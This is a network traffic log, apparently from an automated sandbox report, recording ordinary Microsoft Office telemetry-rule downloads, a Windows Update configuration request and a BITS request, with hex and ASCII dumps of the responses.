2024-11-27 16:58:30 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:30 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 3fc8b732-401e-0083-1091-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165830Z-174f7845968l4kp6hC1EWRe8840000000xfg00000000aaq0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:30 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.7	49735	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:32 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:32 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 02716611-001e-00ad-7089-3f554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165832Z-174f7845968frfdmhC1EWRxxbw0000000x7000000000gff1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:32 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.7	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:32 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:32 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: b18988de-c01e-0079-2891-3fe51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165832Z-174f78459685m244hC1EWRgp2c0000000x4g00000000298e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:32 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.7	49737	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:32 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:32 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: f5c4af5a-301e-005d-6385-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165832Z-174f7845968vqt9xhC1EWRgten0000000x9g000000007zgr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:32 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.7	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:32 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:32 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: f5817373-b01e-003e-3591-3f8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165832Z-174f7845968ljs8phC1EWRe6en0000000x1g00000000e5yy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:32 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.7	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:32 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:32 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: b254496e-901e-0016-2991-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165832Z-174f78459685m244hC1EWRgp2c0000000x0g00000000gq34 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:32 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.7	49732	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:32 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=O4egRtPmcg3w6Cf&MD=n5k6Gc1T HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-27 16:58:33 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: b28239c3-8045-48b4-b054-b4edc1c971bf MS-RequestId: 68ad070c-50d1-49db-adf1-efe691c542ec MS-CV: 5/MZfRHoI0GPmIlp.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 27 Nov 2024 16:58:32 GMT Connection: close Content-Length: 24490
2024-11-27 16:58:33 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-27 16:58:33 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.7	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:34 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:35 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: f440c5dc-801e-0047-7891-3f7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165835Z-174f7845968xlwnmhC1EWR0sv80000000x30000000007d90 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:35 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.7	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:35 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:35 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 89e88ad2-001e-0065-4491-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165835Z-174f7845968g6hv8hC1EWR1v2n000000052g00000000mmw8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:35 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	49756	23.214.206.19	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:35 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-27 16:58:35 UTC	478	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=54306 Date: Wed, 27 Nov 2024 16:58:35 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.7	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:35 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:35 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: c3d74fa2-201e-0003-1d91-3ff85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165835Z-174f7845968kvnqxhC1EWRmf3g0000000g3g0000000025t2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:35 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.7	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:35 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:35 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: d8ce9b73-b01e-0097-7b78-404f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165835Z-174f7845968glpgnhC1EWR7uec0000000x8000000000vmq3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:35 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" 